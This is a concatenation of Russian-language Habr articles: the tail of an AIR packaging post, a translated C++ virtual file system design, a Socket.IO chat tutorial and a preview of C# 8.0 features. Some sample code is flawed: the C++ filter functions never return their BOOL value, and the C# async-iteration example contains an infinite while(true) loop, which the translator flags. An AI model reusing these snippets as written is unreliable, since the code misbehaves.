Все, пакет создан. Теперь вы можете поделиться им с друзьями. Установка проста, просто дважды кликните по файлу. Не забудьте что для установки требуется AIR Runtime!
P.S. Это мой первый перевод и первый топик на Хабре. Сразу указывайте ошибки! И сели кто знает, как можно убрать лишние переводы строки в блоках с кодом?
`````` | https://habr.com/ru/post/31360/ | null | ru | null |
# Написание виртуальной файловой системы на c++
Еще одна моя запись из песочницы, если будет время то переведу остальные части
Это перевод первой части статьи про написание VFS (виртуальной файловой системы) на c++ которую я нашел достаточно давно. Надеюсь вам понравится. :)
Вступление
==========
Когда я начал разработку своего 3D движка я понял что мне нужно что-нибудь вроде файловой системы. Не простой архив, а собственная виртуальная файловая система которая поддерживает сжатие, шифрование, имеет быстрое время доступа и тд.
И я решил выложить свои наработки чтобы вам не пришлось изобретать колесо. Эта статья будет разделена на 2 части. Первая это то что вы сейчас читаете и тут будет описанно строение VFS. Во второй части мы собственно и напишем саму VFS (она будет достаточно большой).
Так что такое VFS?
==================
VFS это файловая система, похожая на аналогичные в Windows (fat32, ntfs и тд). Основное различие между VFS и реальной файловой системой в том что VFS использует реальную файловую систему внутри себя.
Функциональность
================
Назовем некоторые возможности VFS:
Быстрое время доступа
Несколько архивов вместо огромного количества маленьких файлов
Возможность дебагинга
Pluggable Encryption and Compression (PEC)
Защищенность (внутри файла vfs хранится MD5 ключ так что любые изменения архива тут же будут замечены)
Несколько root путей
Теперь так как мы перечислили список возможностей мы можем перейти к design фазе
Базовый дизайн
==============
Давайте начнем: У нас будет главный интерфейс с 16 функциями. Я сначала вам покажу эти функции, потом мы обсудим для чего они и в следующей части мы их напишем.
`#define VFS_VERSION 0x0100
#define VFS_PATH_SEPARATOR '\\'
void VFS_Init();
void VFS_Shutdown();`
Эти функции на самом деле ничего не делают кроме запуска / выгрузки некоторых структур которые нам понадобятся позже
Фильтры
=======
`typedef BOOL (* VFS_FilterProc )( LPCBYTE pIn, DWORD dwInCount, LPBYTE* ppOut, DWORD* pOutCount );
struct VFS_Filter
{
string strName;
string strDescription;
VFS_FilterProc pfnEncodeProc;
VFS_FilterProc pfnDecodeProc;
};
void VFS_RegisterFilter( VFS_Filter* pFilter );
void VFS_UnregisterFilter( VFS_Filter* pFilter );
void VFS_UnregisterFilter( DWORD dwIndex );
DWORD VFS_GetNumFilters();
const VFS_Filter* VFS_GetFilter( DWORD dwIndex );`
Ну, это уже немного сложнее. VFS\_Filter это своего рода подпрограмма, которая обрабатывает данные. Можно например написать VFS\_CryptFilter который шифрует / расшифровывает данные. У тебя такое? Фильтр состоит из чего-то вроде предварительного процессора (процедура pfnEncodeProc) для данных записывающихся в архив и пост-процессора (процедура pfnDecodeProc) для считывания данных из архива. Эти фильтры реализуют Pluggable Encryption and Compression, упомянутые выше, поэтому вы можете назначить один или несколько фильтров для каждого vfs файла, которые вы используете. Если вы немного запутались, то посмотрите на рисунок 1, который представляет собой схему фильтров.
Вы видите, кодирующие / декодирующие процедуры манипулируют потоком данных в обоих направлениях: из архива в память и из памяти в архив.
Для лучшего понимания фильтров, давайте напишем простой фильтр (в любом случае имейте в виду, что мы не сможем проверить фильтр, потому что мы будем осуществлять VFS позже). Наш фильтр добавит 1 к каждому байту.
`VFS_Filter ONEADD_Filter =
{
"ONEADD",
"This Filter adds 1 to each Byte of the Data. It doesn't really make sense, "
" but anyway, this is just a test, you know",
ONEADD_EncodeProc,
ONEADD_DecodeProc
};
BOOL ONEADD_EncodeProc( LPCBYTE pIn, DWORD dwInCount, LPBYTE* ppOut, DWORD* pOutCount )
{
assert( ppOut );
assert( pOutCount );
// Allocate the Memory.
*ppOut = new BYTE[ dwInCount ];
// Perform a For-Loop through each Byte.
for( DWORD dwIndex = 0; dwIndex < dwInCount; dwIndex++ )
{
( *ppOut )[ dwIndex ] = ( BYTE )( pIn[ dwIndex ] + 1 );
}
// Set the Output Count.
*pOutCount = dwInCount;
}
BOOL ONEADD_DecodeProc( LPCBYTE pIn, DWORD dwInCount, LPBYTE* ppOut, DWORD* pOutCount )
{
assert( ppOut );
assert( pOutCount );
// Allocate the Memory.
*ppOut = new BYTE[ dwInCount ];
// Perform a For-Loop through each Byte.
for( DWORD dwIndex = 0; dwIndex < dwInCount; dwIndex++ )
{
( *ppOut )[ dwIndex ] = ( BYTE )( pIn[ dwIndex ] - 1 );
}
// Set the Output Count.
*pOutCount = dwInCount;
}`
Единственный смысл этого фильтра в том что можно сделать более сложным вскрытие vfs файла.
Функции root путей
==================
Мы обсуждали функции root путей не так давно, помните? Если нет — не проблема. Я сказал, что мы хотим, функцию для использования нескольких root путей, то есть несколько путей поиска, как например, каталог установки программы, оптический диск и сетевой диск. Следующие функции будут использоваться для выполнения этого:
`void VFS_AddRootPath( LPCTSTR pszRootPath );
void VFS_RemoveRootPath( LPCTSTR pszRootPath );
void VFS_RemoveRootPath( DWORD dwIndex );
DWORD VFS_GetNumRootPaths();
LPCTSTR VFS_GetRootPath( DWORD dwIndex );`
Все достаточно легко, не так ли?
Немного простых, но нужных вещей
================================
Следующие 4 функции достаточно просты:
`void VFS_Flush();`
Эта функция будет закрыть все открытые vfs файлы к которым не обращаются. Вы можете удивиться, почему vfs файл, к которому не обращаются не закрывается автоматически, но если мы так сделаем, то нам пришлось повторно анализировать vfs файл каждый раз, когда мы открываем или закрываем файл. Посмотрите на этот код, для дальнейшего объяснения:
`// Reference Count is 1. -> Load + Parse!!!
DWORD dwHandle = VFS_File_Open( "Bla\\Bla.Txt" );
// Reference Count is 0. -> Close!!!
VFS_File_Close( dwHandle );
// Reference Count is 1. -> Load + Parse!!!
dwHandle = VFS_File_Open( "Bla\\Bla.Txt" );
// Reference Count is 0. -> Close!!!
VFS_File_Close( dwHandle );`
Вы видите, нам пришлось бы открывать архив файла два раза. Хорошее место для вызова VFS\_Flush () В игре может быть, когда все данные уровня загрузились. Но вот последние 3 основные функции:
`struct VFS_EntityInfo
{
BOOL bIsDir; // Is the Entity a Directory.
BOOL bArchived; // True if the Entity is located in an Archive.
string strDir; // like Models/Sarge/Textures
string strPath; // like Models/Sarge/Textures/Texture1.Jpg
string strName; // like Texture1.Jpg
DWORD dwSize; // The Number of Files and Subdirectories for a
Directory.
};
BOOL VFS_Exists( LPCTSTR pszPath );
void VFS_GetEntityInfo( LPCTSTR pszPath, VFS_EntityInfo* pInfo );
DWORD VFS_GetVersion();`
Первая функция в настоящее время проверяет существует ли обьект с путем pszPath. Вы видите, что это достаточно простая вещь, но в С (+ +) стандартная библиотека не содержит такую функцию (я знаю, они имеют такие функции, как stat(), но я хочу просто вещи вида exists() ). Вторая функция нечто вроде stat(), она возвращает информацию об обьекте
Последняя функцияне имеет ничего общего с информацией об обьекте, эта функция просто возвращает текущую версию VFS. Ничего особенного (Серьезно, он просто возвращает константу VFS\_VERSION ;-)
Интерфейс работы с файлами
==========================
Мы рассмотрели простые вещи. Но не беспокойтесь, еще есть пару легких вещей впереди. В самом деле, все, описанное в этой части статьи является легким. К сожалению, если вы хотите, что-то сложнее, вам придется ждать следующей части этой статьи… ;-)
Ну, вот они, функции интерфейса работы с файлами:
`#define VFS_INVALID_HANDLE ( ( DWORD ) -1 )
// The VFS_File_Open/Create() Flags.
#define VFS_READ 0x01
#define VFS_WRITE 0x02
// The VFS_File_Seek() Flags.
#define VFS_SET 0x00
#define VFS_CURRENT 0x01
#define VFS_END 0x02
// Create / Open / Close a File.
DWORD VFS_File_Create( LPCTSTR pszFile, DWORD dwFlags );
DWORD VFS_File_Open( LPCTSTR pszFile, DWORD dwFlags );
void VFS_File_Close( DWORD dwHandle );
// Read / Write from / to the File.
void VFS_File_Read( DWORD dwHandle, LPBYTE pBuffer, DWORD dwToRead, DWORD* pRead = NULL );
void VFS_File_Write( DWORD dwHandle, LPCBYTE pBuffer, DWORD dwToWrite, DWORD* pWritten = NULL );
// Direct Data Access.
LPCBYTE VFS_File_GetData( DWORD dwHandle );
// Positioning.
void VFS_File_Seek( DWORD dwHandle, LONG dwPos, DWORD dwOrigin = VFS_SET );
LONG VFS_File_Tell( DWORD dwHandle );
DWORD VFS_File_GetSize( DWORD dwHandle );
// Information.
BOOL VFS_File_Exists( LPCTSTR pszFile );
void VFS_File_GetInfo( LPCTSTR pszFile, VFS_EntityInfo* pInfo );
void VFS_File_GetInfo( DWORD dwHandle, VFS_EntityInfo* pInfo );`
Есть всего несколько вещей которые стоит отметить. Во-первых, параметр dwFlags у VFS\_File\_Create() и VFS\_File\_Open() может быть быть либо VFS\_READ либо VFS\_WRITE или сразу оба, а это означает доступ на чтение, запись или чтение / запись. Во-вторых, эти две функции возвращают handle, который используется почти всеми другими функциями, как своего рода указатель. Мы не будем использовать указатели, но будем использовать handle так как они обеспечивают еще один уровень абстракции. Еще я хотел бы упомянуть, тот факт, что наши функции будут загружать весь файл в память. Это необходимо в связи с особенностью фильтров (поскольку они нуждаются в памяти для обработки). Вы можете получить доступ к этой памяти непосредственно с помощью VFS\_File\_GetData(). Ну, а остальные в вещи вы должны знать, благодаря стандартной библиотеке ввода / вывода.
Интерфейс нашей библиотеки
==========================
Это может быть место которое вы ожидали, начиная с некоторых строк или лучше будет сказать страниц (и когда мы говорим об ожидании: тем чего я не ожидал, является тот факт, что это уже 7 страница или около этого. WOW!).
В любом случае, давайте продолжим:
`// Create / Open / Close an Archive.
DWORD VFS_Archive_Create( LPCTSTR pszArchive, const VFS_FilterNameList& Filters, DWORD dwFlags );
DWORD VFS_Archive_CreateFromDirectory( LPCTSTR pszArchive, LPCTSTR pszSrcDir,
const VFS_FilterNameList& Filters, DWORD dwFlags );
DWORD VFS_Archive_Open( LPCTSTR pszArchive, DWORD dwFlags );
void VFS_Archive_Close( DWORD dwHandle );
// Set the Filters used by this Archive.
void VFS_Archive_SetUsedFilters( DWORD dwHandle, const VFS_FilterNameList& Filters );
void VFS_Archive_GetUsedFilters( DWORD dwHandle, VFS_FilterNameList& Filters );
// Add / Remove Files to / from the Archive.
void VFS_Archive_AddFile( DWORD dwHandle, LPCTSTR pszFile );
void VFS_Archive_RemoveFile( DWORD dwHandle, LPCTSTR pszFile );
// Extract the Archive.
void VFS_Archive_Extract( DWORD dwHandle, LPCTSTR pszTarget );
// Information.
void VFS_Archive_GetInfo( DWORD dwHandle, VFS_EntityInfo* pInfo );
void VFS_Archive_GetInfo( LPCTSTR pszArchive, VFS_EntityInfo* pInfo );`
Очень простой интерфейс, не так ли? Просто обычные вещи для файла архива. И теперь вы, наконец, видите применение для функций фильтров которые мы видели до этого. Вы можете применять фильтры, с помощью VFS\_Archive\_Set / GetUsedFilters().
Интерфейс для работы с папками
==============================
Это последний интерфейс VFS. Он содержит 3 функции которые должны быть понятны без обьяснения как я думаю.
`// Information.
BOOL VFS_Dir_Exists( LPCTSTR pszDir );
BOOL VFS_Dir_GetInfo( LPCTSTR pszDir, VFS_EntityInfo* pInfo );
// Get the Contents of a Directory.
vector< VFS_EntityInfo > VFS_Dir_GetContents( LPCTSTR pszDir, BOOL bRecursive = FALSE );`
Функции 1 и 2 достаточно простые (такие как будто они используются для файлов). Функция 3 действует как DOS команда. ;-)
Немного поболтаем
=================
Вот и все. Мы закончили первую часть статьи. Я не верю (я тоже :) прим. переводчика). Но самое сложное еще впереди:
Нам нужно НАПИСАТЬ VFS!!!
[Скачать article\_vfs\_header.h](http://www.flipcode.com/archives/article_vfs_header.h) | https://habr.com/ru/post/64538/ | null | ru | null |
# Разработка простого чата на Socket.IO [2016] \ Node.js
Всем привет, дорогие хабрахабровцы! Недавно я начал изучать node.js и дошёл до самого интересного, а именно — [Socket.Io](http://socket.io/). Поизучав информацию в интернете, я так и не смог найти подробного «гайда» по данному модулю, поэтому пришлось копать самому. Некоторые скажут, что можно и самому понять, что написано на [сайте](http://socket.io/) модуля, но некоторым этого будет не достаточно чтобы понять базу web-socket'ов, поэтому я решил написать эту статью для таких людей, а именно на самом 'чётком' примере — чате.
### Установка модуля
Итак, давайте приступать?! Для начала нам нужно собственно установить наш [Socket.Io](http://socket.io/), как его установить можете прочитать [здесь](http://socket.io/download/), а для тех, кто не понял, поясню: есть **клиент** и **сервер**, на сервер нужно поставить сам модуль через *npm* в папку проекта (для этого надо заранее открыть её в консоли, а дальше устанавливать):
```
npm install socket.io --save
```
После того как установили модуль, в папке с проектом (*куда ставили*) появится папка **«node\_modules»**
Теперь мы должны установить сам .js файл модуля в папку с проектом *(.js файл будет использоваться на клиенте)*, ставить отсюда => [\*тык\*](https://github.com/socketio/socket.io-client/archive/master.zip). Вы **скачаете** архив, и оттуда вы должны достать файл **«socket.io.js»** и перекинуть в папку с проектом.
Для тех кто не понял, структура папки проекта с чатом должна быть такова на данный момент:
```
chat: (Сама папка)
|node_modules
|--socket.io (Внутри *node\_modules*)
|socket.io.js
```
После того как вы скачали .js файл и установили модуль — можно приступать к следующему этапу.
### Установка *дополнительных* модулей
Вам понадобятся также такие модули как:
1. [express](https://www.npmjs.com/package/express) *# Для создания сервера*
2. [log4js](https://www.npmjs.com/package/log4js) *# Отличный логгер*
3. [http](https://www.npmjs.com/package/http-server) *# Сам http-сервер*
express:
```
npm install express --save
```
log4js:
```
npm install log4js
```
http:
```
npm install http
```
После всех этих процедур, папка *«node\_modules»* должна пополниться (*\*логично вроде\**). Теперь можно приступать к разработке нашего чата!
### Разработка чата
Теперь мы можем приступать у разработке, но перед этим, надо создать .js-файл в директории проекта ***«chat.js»*** в чем мы и будем писать наш чат. Для начала открываем наш *chat.js* и подключаем все модули таким образом:
```
var express = require('express'); // Подключаем express
var app = express();
var server = require('http').Server(app); // Подключаем http через app
var io = require('socket.io')(server); // Подключаем socket.io и указываем на сервер
var log4js = require('log4js'); // Подключаем наш логгер
var logger = log4js.getLogger(); // Подключаем с модуля log4js сам логгер
```
Это все что нам нужно подключить в начале. Дальше создаем переменную куда укажем наш порт для прослушивания *(для сервера)*:
```
var port = 3000; // Можно любой другой порт
```
После этого можно прологгировать старт скрипта таким образом:
```
logger.debug('Script has been started...'); // Логгируем.
```
Дальше ставим на «прослушку» для сервера порт таким образом:
```
server.listen(port); // Теперь мы можем подключиться к нашему серверу через localhost:3000 при запущенном скрипте
```
Теперь мы должны сделать так, чтобы клиенту который подключается к нашему серверу [*«localhost:3000»*](http://localhost:3000), получал пакет файлов таких как ***index.html; main.css; socket.io; main.js;*** чтобы отображалась сама страница с нашим чатом.
Это делается просто, создаем папку ***«public»*** в корне проекта, и закидываем туда наш *«socket.io.js»*, а дальше создаем там такие файлы как index.html, main.js, *main.css**(Не будем пользоваться, это для наглядности)*. Наша структура проекта должна быть примерно такая:
```
chat:
|node_modules:
|-socket.io
|-express
|-log4js
|-http
|public:
|-index.html
|-socket.io.js
|-*main.css*
|-main.js
|chat.js
```
Дальше делаем такой «финт» который будет отправлять клиенту содержимое этой папки при подключении:
chat.js:
```
app.use(express.static(__dirname + '/public')); // Отправляет "статические" файлы из папки public при коннекте // __dirname - путь по которому лежит chat.js
```
Отлично, теперь при подключении на [localhost:3000](http://localhost:3000) *(при запущенном скрипте)* у нас будет открываться *«index.html»*, только страница будет пустая из-за того что у нас *«index.html»* пустой :)
Накидаем эскиз чата в *«index.html»* *(без стилей)*. Можете просто копировать код в *«index.html»*
```
chat
Отправить
```
Прекрасно! Теперь если мы запустим скрипт и откроем [localhost:3000](http://localhost:3000), мы увидим наш \*кривой\* эскиз ) Также вы можете увидеть, что я подключил jQuery, благодаря ему мы будем извлекать текст из поля «удобно».
Как мы можем понять, сейчас наш чат не работает, по сколько не настроены «евенты» в скрипте. Сейчас мы будем всё разбирать. Для начала мы должны подключиться с клиента к серверу (socket.io) в *«main.js»*
```
var port = 3000; // Указываем порт на котором у на стоит сокет
var socket = io.connect('http://localhost:' + port); // Тут мы объявляем "socket" (дальше мы будем с ним работать) и подключаемся сразу к серверу через порт
```
Теперь когда мы написали подключение socket.io к серверу через порт, самое время обработать это событие на сервере.
**io.connect(port)** — Создает событие 'connection', нам надо сделать его обработчик на сервере, иначе подключение будет \*пустое\*, а нам надо еще присвоить никнейм тому кто приконнектился, а это делается в обработчике, просто читаем дальше.
Создаём обработчик в скрипте *«chat.js»*
```
io.on('connection', function (socket) { // Создаем обработчик события 'connection' которое создает io.connect(port); с аргументом socket
var name = 'U' + (socket.id).toString().substr(1,4); // Создаем никнейм нашему клиенту. В начале буква 'U' дальше берем 3 символа ID (сокета) после первого символа, и все это клеим с помощью '+'
socket.broadcast.emit('newUser', name); // Отсылает событие 'newUser' всем подключенным, кроме текущего. На клиенте навешаем обработчик на 'newUser' (Отправляет клиентам событие о подключении нового юзера)
socket.emit('userName', name); // Отправляем текущему клиенту событие 'userName' с его ником (name) (Отправляем клиенту его юзернейм)
logger.info(name + ' connected to chat!'); // Логгирование
});
```
Итак, для тех, кто не понял… **io.on('event', function(arg){})** — создаёт прослушку на событие 'event' с аргументом arg; передавать аргументы будем чуть позже ) **socket.id** — ID подключения этого сокета *(сокет — клиент)*, **socket.broadcast.emit('newUser', name);** — отправка события 'newUser' всем кроме текущего сокета, с переменной name (текущего сокета). **socket.emit('userName', name);** — отправляет событие 'userName' только текущему сокету c переменной name.
Для тех, кто не понял — сервер и клиент могут отправлять и принимать события одинаково:
**socket.emit('event')** — отправляет на сервер\клиент
**socket.on** — прослушивает события на клиенте
**io.on** — прослушивает события на сервере
Теперь создаём в *«main.js»* прослушки на 'newUser', 'userName'…
```
socket.on('userName', function(userName){ // Создаем прослушку 'userName' и принимаем переменную name в виде аргумента 'userName'
console.log('You\'r username is => ' + userName); // Логгирование в консоль браузера
$('textarea').val($('textarea').val() + 'You\'r username => ' + userName + '\n'); // Выводим в поле для текста оповещение для подключенного с его ником
});
socket.on('newUser', function(userName){ // Думаю тут понятно уже =)
console.log('New user has been connected to chat | ' + userName); // Логгирование
$('textarea').val($('textarea').val() + userName + ' connected!\n'); // Это событие было отправлено всем кроме только подключенного, по этому мы пишем другим юзерам в поле что 'подключен новый юзер' с его ником
});
```
**$('textarea').val('текст');** — изменение текста в текстовом поле. **\n** — переход на новую строку
Теперь когда мы откроем [localhost:3000](http://localhost:3000) мы увидим встречный текст в поле с нашим ником! Прекрасно? Я знаю ^^ Но согласитесь, это еще не чат. Теперь нам надо сделать так, чтобы при нажатии на кнопку **«Отправить» <= index.html** отправлялся текст на сервер. Для этого дописываем в *«main.js»* обработчик на кнопку 'button' через jQuery.
```
$(document).on('click', 'button', function(){ // Прослушка кнопки на клик
var message = $('input').val(); // Все что в поле для ввода записываем в переменную
socket.emit('message', message); // Отправляем событие 'message' на сервер c самим текстом (message)- как переменная
$('input').val(null); // Заполняем поле для ввода 'пустотой'
});
```
После этого мы можем спокойно делать обработчик события 'message' на самом сервере.
chat.js:
```
io.on('connection', function (socket) {
var name = 'U' + (socket.id).toString().substr(1,4);
socket.broadcast.emit('newUser', name);
logger.info(name + ' connected to chat!');
socket.emit('userName', name);
// Обработчик ниже // Мы его сделали внутри коннекта
socket.on('message', function(msg){ // Обработчик на событие 'message' и аргументом (msg) из переменной message
logger.warn('-----------'); // Logging
logger.warn('User: ' + name + ' | Message: ' + msg);
logger.warn('====> Sending message to other chaters...');
io.sockets.emit('messageToClients', msg, name); // Отправляем всем сокетам событие 'messageToClients' и отправляем туда же два аргумента (текст, имя юзера)
});
});
```
Отлично! Теперь когда мы будем отправлять текст со страницы, он у нас будет логгироваться в консоли node, так же мы всем клиентам отправили событие 'messageToClients', сейчас мы будем на клиенте делать обработчик этого события…
main.js:
```
socket.on('messageToClients', function(msg, name){
console.log(name + ' | => ' + msg); // Логгирование в консоль браузера
$('textarea').val($('textarea').val() + name + ' : '+ msg +'\n'); // Добавляем в поле для текста сообщение типа (Ник : текст)
});
```
**Наш чат готов!** Теперь вы можете его модернизировать как угодно.
Этот пост был создан потому, что топики, которые на Хабре по созданию чата, были запощены 5 лет назад, а за это время много чего произошло и я решил создать свой топик ) Тем не менее, вот топик, по которому я вдохновлялся — [ссылочка](https://habrahabr.ru/post/127525/). Может я где-то ошибся, поправляйте! Все люди ошибаются.
Спасибо всем за внимание! | https://habr.com/ru/post/307744/ | null | ru | null |
# Запланированные новые возможности C# 8.0
Все ранее представленные в минорных версиях C# средства, разработаны так, чтобы не сильно изменять язык. Они представляют собой скорее синтаксические улучшения и небольшие дополнения [к новым возможностям C# 7.0](http://www.dotnetcurry.com/csharp/1286/csharp-7-new-expected-features).
Этот подход был преднамеренным, и он остается в силе.
Более серьезные изменения, которые требуют большей работы на всех этапах разработки (проектировании, внедрении и тестировании), по-прежнему будут выпускаться только с основными релизами языка. И хотя окончательная минорная версия C# 7 еще не выпущена, команда уже активно работает над следующей основной версией языка: C# 8.0.
В данной статье, я планирую представить подборку планируемых в настоящее время функций, которые, скорее всего, окажутся в финальном релизе. Все они находятся на ранней стадии разработки и могут быть изменены.
Nullable Reference Types
------------------------
Данное средство уже предлагалось на ранних стадиях разработки C# 7.0, но было отложено до следующей основной версии. Его целью является помощь разработчиком в избегании необработанных исключений NullReferenceException.
Основной идеей является позволить при определении типа переменной указать, может ли она являться null или нет:
```
IWeapon? canBeNull;
IWeapon cantBeNull;
```
Присваивание null или значения, которое потенциально может содержать null в не-null переменную, будет приводить к предупреждению компилятора (которое можно конфигурировать так, чтобы оно приводило к прерыванию дальнейшей компиляции, если нужна особая безопасность):
```
canBeNull = null; // нет предупреждения
cantBeNull = null; // предупреждение
cantBeNull = canBeNull; // предупреждение
```
Аналогично, предупреждения будут генерироваться при разыменовании nullable-переменных без их предварительной проверки на null:
```
canBeNull.Repair(); // предупреждение
cantBeNull.Repair(); // нет предупреждения
if (canBeNull != null) {
cantBeNull.Repair(); // нет предупреждения
}
```
**Примечание переводчика**Выглядит красиво, пока мы не вспоминаем про многозадачное окружение – как быть там в случае, если кто-то вклинился между проверкой и использованием?
Проблема такого изменения в том, что мы прерываем совместимость со старой кодовой базой: Здесь предполагается, что все переменные в старом коде по умолчанию не могут содержать null. Чтобы справиться с этой ситуацией, статические анализаторы компилятора на null-безопасность должны быть выборочно включены в зависимости от проекта.
Разработчик может включить проверку nullability тогда, когда он будет готов иметь дело с результирующими предупреждениями. Это в интересах разработчика, поскольку данные предупреждения потенциально говорят об ошибках в коде.
Раннее превью данной возможности доступно для [загрузки в Visual Studio 2017 15.6 update](https://github.com/dotnet/csharplang/wiki/Nullable-Reference-Types-Preview).
Records
-------
В настоящий момент, значительная часть бойлерплейт-кода на C# написана во время создания простого класса, который работает как контейнер значений и не имеет никаких методов или бизнес-логики.
Синтаксис записей должен стандартизовать реализацию таких классов с абсолютным минимумом кода:
```
public class Sword(int Damage, int Durability);
```
Эта строка эквивалентна следующему классу:
```
public class Sword : IEquatable
{
public int Damage { get; }
public int Durability { get; }
public Sword(int Damage, int Durability)
{
this.Damage = Damage;
this.Durability = Durability;
}
public bool Equals(Sword other)
{
return Equals(Damage, other.Damage)
&& Equals(Durability, other.Durability);
}
public override bool Equals(object other)
{
return (other as Sword)?.Equals(this) == true;
}
public override int GetHashCode()
{
return (Damage.GetHashCode() \* 17 + Durability.GetHashCode());
}
public void Deconstruct(out int Damage, out int Durability)
{
Damage = this.Damage;
Durability = this.Durability;
}
public Sword With(int Damage = this.Damage, int Durability
= this.Durability) => new Sword(Damage, Durability);
}
```
Как вы видите, этот класс содержит свойства, открытые только для чтения и конструктор для их инициализации. Он реализует сравнение по значению и корректно перекрывает GetHashCode для использования в хэш-коллекциях типа Dictionary и Hashtable. Есть даже метод Deconstruct для деконструкции класса на индивидуальные значения с использованием синтаксиса кортежей:
```
var (damage, durability) = sword;
```
Вы, вероятно, не узнали синтаксис, использованный в последнем методе класса. Параметры метода по умолчанию, дополнительно позволяют ссылаться на поле или свойство класса, используя данный синтаксис. Это, в частности, полезно для реализации хэлпера With, который предназначен для создания модифицированных копий существующих неизменяемых объектов:
```
var strongerSword = sword.With(Damage: 8);
```
Дополнительно, рассматривается следующий синтаксический сахар для работы с этим методом:
```
var strongerSword = sword with { Damage = 8 };
```
Recursive Patterns
------------------
Некоторые возможности сопоставления паттернов уже были добавлены в C# 7.0. В версии 8.0 планируется расширить их следующими кейсами:
Рекурсивные паттерны будут позволять деконструировать сопоставляемые типы в одно выражение. Это должно хорошо работать со сгенерированным компилятором методом для записей Deconstruct():
```
if (sword is Sword(10, var durability)) {
// код выполняется, если Damage = 10
// durability равно значению sword.Durability
}
```
Паттерн кортежей (tuple) будет позволять сопоставлять более чем одно значение в одном выражении:
```
switch (state, transition)
{
case (State.Running, Transition.Suspend):
state = State.Suspended;
break;
}
```
Оператор switch будет позволять сжатый синтаксис, в котором результат сопоставления паттерна будет присваиваться в одну переменную. Этот синтаксис еще в проработке, но текущее предложение выглядит так:
```
state = (state, transition) switch {
(State.Running, Transition.Suspend) => State.Suspended,
(State.Suspended, Transition.Resume) => State.Running,
(State.Suspended, Transition.Terminate) => State.NotRunning,
(State.NotRunning, Transition.Activate) => State.Running,
_ => throw new InvalidOperationException()
};
```
Default Interface Methods
-------------------------
В настоящее время, C# не позволяет интерфейсам содержать реализации методов, только их декларации:
```
interface ISample
{
void M1(); // разрешено
void M2() => Console.WriteLine("ISample.M2"); // запрещено
}
```
Чтобы реализовать такую функциональность, вместо этого могут быть использованы абстрактные классы:
```
abstract class SampleBase
{
public abstract void M1();
public void M2() => Console.WriteLine("SampleBase.M2");
}
```
Несмотря на это, в C# 8 планируется добавить поддержку методов интерфейса по умолчанию, используя предложенный в первом примере синтаксис. Это даст возможность реализовать сценарии, не поддерживаемые абстрактными классами.
Автор библиотеки может расширить существующий интерфейс с помощью реализации метода по умолчанию. Это даст возможность не изменять существующие классы, которые работали с более старой версией интерфейса. Если они не будут реализовывать новый метод, они смогут использовать его реализацию по умолчанию. Если же необходимо изменить поведение, они смогут переопределить его. При этом нет необходимости менять старый код только потому, что интерфейс был расширен.
Множественное наследование запрещено в C#, поэтому класс может быть унаследован только от одного базового абстрактного класса.
При этом, класс может реализовать несколько интерфейсов. Если эти интерфейсы реализуют методы интерфейса по умолчанию, это позволяет классам объединять поведение из нескольких разных интерфейсов – данная концепция известна как trait и доступна во многих языках программирования.
В отличие от множественного наследования, данный функционал позволяет избежать [проблемы ромбовидного наследования](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BC%D0%B1%D0%BE%D0%B2%D0%B8%D0%B4%D0%BD%D0%BE%D0%B5_%D0%BD%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5), при которой метод с одним и тем же именем определен в нескольких интерфейсах. Для этого C# 8.0 требует, чтобы каждый класс и интерфейс имели наиболее специфическое переопределение каждого унаследованного члена:
* Когда член с тем же именем наследуется от нескольких интерфейсов, одно переопределение является более конкретным, чем другое в случае, если он унаследован от другого.
* Если ни один из интерфейсов прямо или косвенно не наследуется от другого интерфейса, разработчик должен явно указать переопределение, которое он хочет использовать или написать свое собственное. Таким образом, он разрешит многозначность.
Asynchronous Streams
--------------------
C# уже имеет поддержку итераторов и асинхронных методов. В C# 8.0, планируется объединить эту пару в асинхронные итераторы. Они будут основаны на асинхронных версиях интерфейсов IEnumerable и IEnumerator:
```
public interface IAsyncEnumerable
{
IAsyncEnumerator GetAsyncEnumerator();
}
public interface IAsyncEnumerator : IAsyncDisposable
{
Task MoveNextAsync();
T Current { get; }
}
```
Также, потребители асинхронной версии итераторов будут нуждаться в асинхронной версии IDisposable:
```
public interface IAsyncDisposable
{
Task DisposeAsync();
}
```
Это позволит использовать следующий код для итерации по элементам:
```
var enumerator = enumerable.GetAsyncEnumerator();
try
{
while (await enumerator.WaitForNextAsync())
{
while (true)
{
Use(enumerator.Current);
}
}
}
finally
{
await enumerator.DisposeAsync();
}
```
**Примечание переводчика**Примечание переводчика – не понял, зачем здесь цикл while(true). Или я чего-то не понял, или так возникнет бесконечный цикл. Подозреваю, что это просто опечатка, но мало ли. Оставил, как в оригинальной статье, которая прошла техническую рецензию по месту оригинальной публикации.
Этот код очень похож на тот, который мы уже используем для работы с обычными синхронными итераторами. Он выглядит непривычно, поскольку обычно мы используем вместо этого выражение foreach. Асинхронная версия выражения будет работать с асинхронными итераторами:
```
foreach await (var item in enumerable)
{
Use(item);
}
```
Так же, как и в foreach выражении, компилятор будет генерировать необходимый код самостоятельно.
Также возможно будет реализовывать асинхронные итераторы, используя ключевое слово yield. Примерно в таком же стиле, как это делается с синхронными итераторами:
```
async IAsyncEnumerable AsyncIterator()
{
try
{
for (int i = 0; i < 100; i++)
{
yield await GetValueAsync(i);
}
}
finally
{
await HandleErrorAsync();
}
}
```
Дополнительно ожидается поддержка токенов отмены и LINQ.
Ranges
------
Планируется добавить новый синтаксис для диапазона значений:
```
var range = 1..5;
```
Это приведет к созданию структуры, представляющей диапазон:
```
struct Range : IEnumerable
{
public Range(int start, int end);
public int Start { get; }
public int End { get; }
public StructRangeEnumerator GetEnumerator();
// overloads for Equals, GetHashCode...
}
```
Этот новый тип может быть эффективно использован в нескольких различных контекстах:
* Он может возникать как аргумент в индексаторах, чтобы обеспечить более компактный синтаксис для срезов массивов:
```
Span this[Range range]
{
get
{
return ((Span)this).Slice(start: range.Start,
length: range.End - range.Start);
}
}
```
* Поскольку эта структура реализует интерфейс IEnumerable, она может быть использована как альтернативный синтаксис для итерации по диапазону значений:
```
foreach (var index in min..max)
{
// обработка значений
}
```
* Сопоставление шаблонов также может использовать этот синтаксис для определения, что значение находится внутри указанного диапазона:
```
switch (value)
{
case 1..5:
// значение в диапазоне
break;
}
```
**Примечание переводчика**В первых двух сценариях неплохо было бы и аргумент step предусмотреть – такие сценарии встречаются не слишком часто, но регулярно. А еще – открытые диапазоны (для первого и третьего сценариев). Тогда диапазоны будут лучше соответствовать слайсам того же Python, что положительно скажется на унификации языковых средств.
